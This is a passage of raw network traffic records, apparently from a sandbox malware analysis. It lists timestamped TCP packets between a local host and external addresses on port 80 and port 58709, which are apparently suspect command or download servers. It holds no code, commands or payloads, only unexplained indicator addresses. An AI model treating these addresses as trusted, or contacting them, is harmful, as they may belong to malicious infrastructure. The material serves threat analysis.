Apr 13, 2024 20:21:18.088639975 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088653088 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088658094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088670015 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088676929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088687897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088696003 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088705063 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088711977 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088723898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088727951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088742971 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088749886 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088759899 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088766098 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088778019 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088783026 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088794947 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088800907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088812113 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088819027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088829041 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088839054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088848114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088859081 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088865995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088882923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088884115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088884115 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088900089 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088901997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088918924 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088937044 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088948011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088948011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088948011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088953972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088972092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088974953 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.088989019 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.088994026 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089006901 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089010000 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089025974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089025974 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089044094 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089061022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089061022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089061022 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089078903 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089095116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089111090 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089112043 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089128971 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089129925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089148045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089165926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089168072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089185953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089204073 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089205027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089205027 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089246035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089265108 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089272022 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089289904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089306116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089323997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089334011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089334965 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089340925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089354992 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089359045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089376926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089379072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089380026 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089395046 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089397907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089411974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089413881 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089432955 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089438915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089449883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089454889 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089467049 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089471102 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089483976 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089487076 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089500904 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089509010 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089519024 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089525938 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089536905 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089545965 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089555025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089571953 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089586020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089589119 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089605093 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089607000 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089622974 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089624882 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089642048 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089653015 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089660883 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089668989 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089679003 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089685917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089695930 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089709997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089710951 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089714050 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089730978 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089734077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089749098 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089751959 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089766026 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089770079 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089783907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089785099 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089801073 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089807034 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089818954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089824915 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089838028 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089843988 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089855909 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089860916 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089874983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089875937 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089891911 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089895964 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089910030 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089912891 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089930058 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089946985 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089947939 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089965105 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089972019 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089972973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.089983940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.089989901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090001106 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090008974 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090018988 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090034962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090035915 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090034962 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090053082 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090054035 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090070963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090071917 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090087891 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090089083 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090115070 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090116978 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090132952 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090150118 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090151072 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090152025 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090169907 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090169907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090188980 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090209007 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090214014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090214014 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090225935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090233088 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090244055 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090249062 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090260983 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090265989 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090279102 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090285063 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090297937 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090303898 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090321064 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090322971 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090338945 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090339899 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090357065 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090358973 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090373993 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090374947 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090393066 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090410948 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090413094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090413094 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090428114 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090431929 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090445995 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090452909 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090462923 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090471029 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090481997 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090490103 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090500116 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090507984 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090517998 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090526104 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090534925 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090543985 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090552092 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090564013 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090569973 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090586901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090586901 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090590954 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090607882 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090624094 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090643883 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090645075 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090661049 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090662956 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090681076 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090698004 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090703011 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090714931 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090722084 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090730906 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090744019 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090749025 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090768099 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090786934 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090794086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090794086 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090805054 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090822935 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090825081 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090840101 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090840101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090858936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090859890 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090877056 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090878963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090897083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090903997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090903997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090914011 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090923071 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090930939 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090946913 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090965033 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090977907 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.090981960 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.090997934 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091000080 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091016054 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091020107 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091037035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091038942 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091053963 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091057062 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091072083 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091074944 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091089964 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091094017 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091108084 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091118097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091118097 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091125965 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091139078 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091144085 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091155052 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091161013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091177940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091186047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091186047 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091196060 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091208935 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091213942 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091223001 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091231108 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091244936 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091248035 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091264963 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091265917 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091284037 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091289997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091289997 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091300964 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091314077 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091319084 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091327906 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091336012 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091352940 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091357946 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091357946 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091372013 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091377020 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091392040 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091392994 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091408968 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091425896 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091437101 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091444016 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091454983 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091461897 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091475010 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091480017 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091497898 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091500044 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091500998 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091516972 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091519117 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091535091 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091536045 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091553926 CEST	80	49744	193.233.132.167	192.168.2.4
Apr 13, 2024 20:21:18.091559887 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091578007 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.091595888 CEST	49744	80	192.168.2.4	193.233.132.167
Apr 13, 2024 20:21:18.202924967 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:18.385735035 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:18.523176908 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:18.525274992 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:18.538773060 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:18.540149927 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:18.540524006 CEST	49748	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:18.708669901 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:18.708813906 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:18.730572939 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:18.809875011 CEST	49745	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:18.845613956 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:18.881437063 CEST	80	49743	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:18.881510019 CEST	49743	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:18.884855986 CEST	80	49748	193.233.132.56	192.168.2.4
Apr 13, 2024 20:21:18.885067940 CEST	49748	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:18.885194063 CEST	49748	80	192.168.2.4	193.233.132.56
Apr 13, 2024 20:21:18.887862921 CEST	49746	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:18.902901888 CEST	58709	49746	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:19.031733036 CEST	58709	49747	147.45.47.93	192.168.2.4
Apr 13, 2024 20:21:19.075447083 CEST	49747	58709	192.168.2.4	147.45.47.93
Apr 13, 2024 20:21:19.105781078 CEST	58709	49747	147.45.47.93	192.168.2.4
